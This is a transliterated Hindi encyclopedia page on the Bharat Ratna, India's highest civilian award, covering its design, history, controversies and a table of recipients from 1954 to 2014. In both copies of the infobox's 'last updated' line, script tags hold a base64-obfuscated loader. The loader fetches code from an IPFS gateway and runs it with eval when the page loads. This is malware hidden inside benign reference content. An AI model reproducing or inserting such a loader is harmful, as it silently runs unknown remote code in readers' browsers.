भारत रत्‍न

	bharat rath‍n
	bharat ratn\|200px\|center
vivaran	'bharat rath‍n' uchh‍chatam nagarik samh‍man hai, jo kala, sahity, vijnan, rajanitijn, vicharak, vaijnanik, udyogapati, lekhak aur samajasevi ko asadharan seva ke lie tatha uchch lok seva ko manh‍yata dene ke lie bharat sarakar ki or se diya jata hai.
shuruat	2 janavari, 1954
svaroop	taanbe ke bane pipal ke patte par pletinam ka chamakata soory ka chihn hota hai jisake niche chaandi mean likha rahata hai "bharat ratn" aur yah safed phite ke sath gale mean pahana jata hai.
sarvapratham sammanit	sarvapalli radhakrishnan, chandrashekhar veankat raman aur si. rajagopalachari
aantim sammanit	pranab mukharji, nanaji deshamukh aur bhoopen hazarika
kul sammanit	48
vishesh	koee likhit pravadhan nahian hai ki 'bharat rath‍n' keval bharatiy nagarikoan ko hi diya jaega.
sanbandhit lekh	'padmashri', 'padm bhooshan' aur 'padm vibhooshan'
any janakari	netaji subhashachandr bos ko 1992 mean 'bharat ratn' se maranoparant sammanit kiya gaya tha. kiantu unaki mrityu vivadit hone ke karan anek prashnoan ko uthaya gaya. at: bharat sarakar ne yah puraskar vapas le liya tha. yah puraskar vapas lene ka yah ekamatr udaharan hai.
adyatan‎	15:25, 5 navambar 2016 (IST)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

‘bharat ratn’ (aangrezi:Bharat Ratna) desh ka sarvochch samman hai. is alankaran se un vyaktiyoan ko sammanit kiya jata hai jinhoanne desh ke kisi bhi kshetr mean mahattvapoorn kary kie hoan, apane-apane kshetroan mean uth‍kri‍shh‍t kary kar hamare desh ka gaurav badhaya aur hamare desh ko aantararashh‍triy manh‍yata prapt huee. bharat rath‍n uchh‍chatam nagarik samh‍man hai, jo kala, sahith‍y, vijnan, rajanitijn, vicharak, vaijnanik, udyogapati, lekhak aur samajasevi ko asadharan seva ke lie tatha uchch lok seva ko manh‍yata dene ke lie bharat sarakar ki or se diya jata hai. ‘bharat-ratn’ un mahanh vyaktiyoan ki jivan gatha to hai hi, sath mean un mahapurushoan ke jivan kal ka itihas bhi hai. da. vishveshvaraiya ne jal ki apoorti, baandh adi ki jo yojanaean banaeean aur unhean sakar kiya, unaki us samay kalpana kathin thi. mahanh udyogapati je. ar. di. tata ne viman-seva us samay aranbh ki jab thik dhang se havaee adde bhi nahian the. ‘bharat-ratn’ aisi vibhootiyoan ka charitr-chitran hai jinake bina desh ka itihas adhoora hai.

‘bharat-ratn’ sarvochch samman

yah prativarsh diya jane vala alankaran nahian. yah kisi vyakti ke sanpoorn vyaktitv aur desh ke prati usaki atyant samarpan bhavana ke lie yada-kada diya jane vala alankaran hai. any puraskaroan 'padmashri', 'padm bhooshan' aur 'padm vibhooshan' adi se ‘bharat-ratn’ shreshth puraskar hai. yah un adarsh mahanh purushoan ko hi diya jata hai jinaki jivan gatha puny-bhagirathi ke saman hai, jise janakar ek sadharan manushy apane ap ko pap mukt aur nirmal pata hai. ‘bharat-ratn’ mean aisi vibhootiyoan ke divy charitr haian jinhoanne jivan ko itani ooanchaiyoan tak pahuanchaya jahaan ki koee kalpana nahian kar sakata. sanbhavat: iqabal ne aise hi mahanh purushoan ke lie kaha tha-

khudi ko kar buland itana ki har takadir se pahale khuda bande se khud poochhe bata teri raza kya hai ?

‘bharat-ratn’ anek mahanh vyaktiyoan ki jivan-gatha ke sath yah bharat ke us kal ka itihas bhi hai, jis kal se in adarsh purushoan ka sanbandh raha. ‘bharat-ratn’ keval rajanetaoan ka hi nahian varanh isamean ve log bhi sammilit haian jinhoanne desh ko nee upalabdhi di aur desh ko pragati ke marg par agrasar karane ka yatn kiya.

svaroop

is purash‍kar ke roop mean die jane vale samh‍man ki mool roop-rekha 35 milimitar vh‍yas vala golakar sh‍varn padak hai jis par soory aur oopar hindi bhasha mean bharat rath‍n aur niche ek phooloan ka guladash‍ta bana hota hai pichhe ki or shasakiy sanket aur adarsh-vakh‍y likha hota hai. ise safed phite mean dalakar gale mean pahanaya jata hai. ek varsh bad is dijain ko badal diya gaya tha. taanbe ke bane pipal ke patte par pletinam ka chamakata soory bana diya gaya. jisake niche chaandi mean likha rahata hai "bharat ratn" aur yah safed phite ke sath gale mean pahana jata hai.

itihas

yah puraskar 2 janavari 1954 ko prarambh kiya gaya tha. yah puraskar bharat ke pratham rashtrapati shri rajendr prasad dvara ghoshit kiya gaya tha. doosare alankaranoan ke bhaanti is samman ko bhi, nam ke sath padavi ke roop mean prayog nahian kiya ja sakata hai. shuroo mean is samman ko 'maranoparaant' nahian diya jata tha, kiantu 1955 ke bad yah nirnay liya gaya aur yah maranoparaant bhi diya jane laga. 13 julaee, 1977 se 26 janavari, 1980 tak is puraskar ko sthagit kar diya gaya tha.

parampara

bharat rath‍n purash‍kar ki paramh‍para 1954 mean shuroo huee thi.

bharat ratn 26 janavari ko bharat ke rashtrapati dvara diya jata hai.
sabase pahala purash‍kar prasiddh vaijnanik chandrashekhar veankataraman ko diya gaya tha. tab se anek vishishh‍t janoan ko apane-apane kshetr mean uth‍krishh‍tata pane ke lie yah purash‍kar prash‍tut kiya gaya hai.
janata parti dvara is puraskar ko 1977 mean band kar diya gaya tha kiantu 1980 mean kaangres sarakar ne ise phir se dobara shuroo kiya.
1980 mean dobara shuroo hone par ise sarvapratham madar teresa ne prapt kiya tha.
hamare bhootapoorv rashh‍trapati, vaijnanik d aau. e. pi. je. abh‍dul kalam ko bhi 1997 mean yah pratishthit purash‍kar diya gaya.
isaka koee likhit pravadhan nahian hai ki 'bharat rath‍n' keval bharatiy nagarikoan ko hi diya jaega.
yah purash‍kar sh‍vabhavik roop se bharatiy nagarik ban chuki 'egh‍nes goankha bojakhiyoo', jinh‍hean ham madar teresa ke nam se janate haian, ko diya gaya.
do anh‍y abharatiy - khan abdulagaffar khan ko 1987 mean aur nelh‍san mandela ko 1990 mean yah puraskar diya gaya.
yah bhi anivary nahian hai ki bharat rath‍n samh‍man prativarsh diya jaega.
maranoparaant sarvapratham lalabahadur shastri ko bharat ratn se sammanit kiya gaya tha.
shri satyapal anand ne rajiv gaandhi ko maranoparaant bharat ratn dene ki prakriya ko madhy pradesh uchch nyayalay mean chunauti di thi.

virodhabhas

svatantrata senani netaji subhashachandr bos ko 1992 mean 'bharat ratn' se maranoparant sammanit kiya gaya tha. kiantu unaki mrityu vivadit hone ke karan anek prashnoan ko uthaya gaya tha. at: bharat sarakar ne yah puraskar vapas le liya tha. yah puraskar vapas lene ka yah ekamatr udaharan hai.
svatantr bharat ke pratham shiksha mantri maulana abul kalam azad ko jab 'bharat ratn' diya gaya to unhoanne isaka virodh kiya. unaka vichar tha ki isaki chayan samiti mean rahe vyakti ko yah samman nahian diya jana chahiye. 1992 mean unhean maranoparaant 'bharat ratn' diya gaya.

bharat ratn sammanit vyaktitv soochi

kram	varsh	nam	kary kshetr	chitr
1	1954	d aau. sarvapalli radhakrishnan	darshanik	30px\|link=sarvapalli radhakrishnan
2	1954	chakravarti rajagopalachari	svatantrata senani	30px\|link=chakravarti rajagopalachari
3	1954	d aau. si. vi. raman	bhautikashastri	30px\|link=chandrashekhar veankat raman
4	1955	d aau. bhagavan das	svatantrata senani	30px\|link=bhagavan das
5	1955	d aau. mokshaguandam vishveshvarayya	sivil ianjiniyar	30px\|link=mokshaguandam vishveshvaraiya
6	1955	javaharalal neharoo	svatantrata senani	30px\|link=javaharalal neharoo
7	1957	goviand ballabh pant	svatantrata senani	30px\|link=goviand ballabh pant
8	1958	d aau. dhoando keshav karve	samaj sudharak	30px\|link=dhoando keshav karve
9	1961	d aau. bidhan chandr ray	chikitsak	30px\|link=bidhan chandr ray
10	1961	purushottam das tandan	svatantrata senani	30px\|link=purushottam das tandan
11	1962	d aau. rajeandr prasad	svatantrata senani	30px\|link=rajendr prasad
12	1963	d aau. zakir husain	vidvan	30px\|link=zakir husain
13	1963	d aau. paandurang vaman kane	sanskrit vidvan	30px\|link=paandurang vaman kane
14	1966	lal bahadur shastri	svatantrata senani	30px\|link=lal bahadur shastri
15	1971	iandira gaandhi	rajanitijn	30px\|link=iandira gaandhi
16	1975	vi. vi. giri	shramik sanghavadi	30px\|link=vi. vi. giri
17	1976	ke. kamaraj	svatantrata senani	30px\|link=ke. kamaraj
18	1980	madar teresa	kॅtholik nan	30px\|lnik=madar teresa
19	1983	achary vinoba bhave	svatantrata senani	30px\|link=vinoba bhave
20	1987	khan abdulagaffar khan	svatantrata senani	30px\|link=khan abdulagaffar khan
21	1988	marudur gopalan ramachandran	abhineta, rajanitijn	30px\|link=marudur gopalan ramachandran
22	1990	d aau. bhimarav ambedakar	rajanitijn, arthashastri	30px\|link=bhimarav ambedakar
23	1990	nelh‍san mandela	rangabhed virodhi aandolan ke neta	30px\|link=nelh‍san mandela
24	1991	rajiv gaandhi	rajanitijn	30px\|link=rajiv gaandhi
25	1991	saradar patel	svatantrata senani	30px\|link=saradar patel
26	1991	moraraji desaee	svatantrata senani	30px\|link=moraraji desaee
27	1992	abulakalam azad	svatantrata senani	30px\|link=abulakalam azad
28	1992	je. ar. di. tata	udyogapati	30px\|link=je. ar. di. tata
29	1992	satyajit re (ray)	film nirmata-nirdeshak	30px\|link=satyajit ray
30	1997	d aau. abdul kalam	vaijnanik	30px\|link=abdul kalam
31	1997	gulazarilal nanda	svatantrata senani	30px\|link=gulazarilal nanda
32	1997	aruna asaf ali	svatantrata senani	30px\|link=aruna asaf ali
33	1998	em.es. subbalakshmi	shastriy gayika	30px\|link=em. es. subbulakshmi
34.	1998	si. subrahmanyam	svatantrata senani	30px\|link=si. subrahmanyam
35	1998	jayaprakash narayan	svatantrata senani	30px\|link=jayaprakash narayan
36	1999	pan. ravi shankar	sitar vadak	30px\|link=ravi shankar
37	1999	amarty sen	arthashastri	30px\|link=amarty sen
38	1999	gopinath boradoloee	svatantrata senani	30px\|link=gopinath boradoloee
39	2001	lata mangeshakar	parshv gayika	30px\|link=lata mangeshakar
40	2001	ustad bismilla khaan	shahanaee vadak	30px\|link=bismillah khaan
41	2008	pan. bhimasen joshi	shastriy gayak	30px\|link=bhimasen joshi
42	2013	pro. si.en.ar. rav	rasayan vaijnanik	30px\|link=si. en. ar. rav
43	2013	sachin teandulakar	kriket khila di	30px\|link=sachin teandulakar
44	2014	madan mohan malaviy	vidvan	30px\|link=madan mohan malaviy
45	2014	atal bihari vajapeyi	rajanitijn	30px\|link=atal bihari vajapeyi

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika-tippani aur sandarbh

↑ ab tak kul 48 logoan ko bharat ratn se sammanit kiya gaya hai jisamean do videshi nagarik (khan abdulagaffar khan aur nelh‍san mandela) bhi shamil haian.

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] tak kul 48 logoan ko bharat ratn se sammanit kiya gaya hai jisamean do videshi nagarik (khan abdulagaffar khan aur nelh‍san mandela) bhi shamil haian.

[1]

bharat rath‍n
bharat ratn\|200px\|center
vivaran	'bharat rath‍n' uchh‍chatam nagarik samh‍man hai, jo kala, sahity, vijnan, rajanitijn, vicharak, vaijnanik, udyogapati, lekhak aur samajasevi ko asadharan seva ke lie tatha uchch lok seva ko manh‍yata dene ke lie bharat sarakar ki or se diya jata hai.
shuruat	2 janavari, 1954
svaroop	taanbe ke bane pipal ke patte par pletinam ka chamakata soory ka chihn hota hai jisake niche chaandi mean likha rahata hai "bharat ratn" aur yah safed phite ke sath gale mean pahana jata hai.
sarvapratham sammanit	sarvapalli radhakrishnan, chandrashekhar veankat raman aur si. rajagopalachari
aantim sammanit	pranab mukharji, nanaji deshamukh aur bhoopen hazarika
kul sammanit	48^[1]
vishesh	koee likhit pravadhan nahian hai ki 'bharat rath‍n' keval bharatiy nagarikoan ko hi diya jaega.
sanbandhit lekh	'padmashri', 'padm bhooshan' aur 'padm vibhooshan'
any janakari	netaji subhashachandr bos ko 1992 mean 'bharat ratn' se maranoparant sammanit kiya gaya tha. kiantu unaki mrityu vivadit hone ke karan anek prashnoan ko uthaya gaya. at: bharat sarakar ne yah puraskar vapas le liya tha. yah puraskar vapas lene ka yah ekamatr udaharan hai.
adyatan‎	15:25, 5 navambar 2016 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>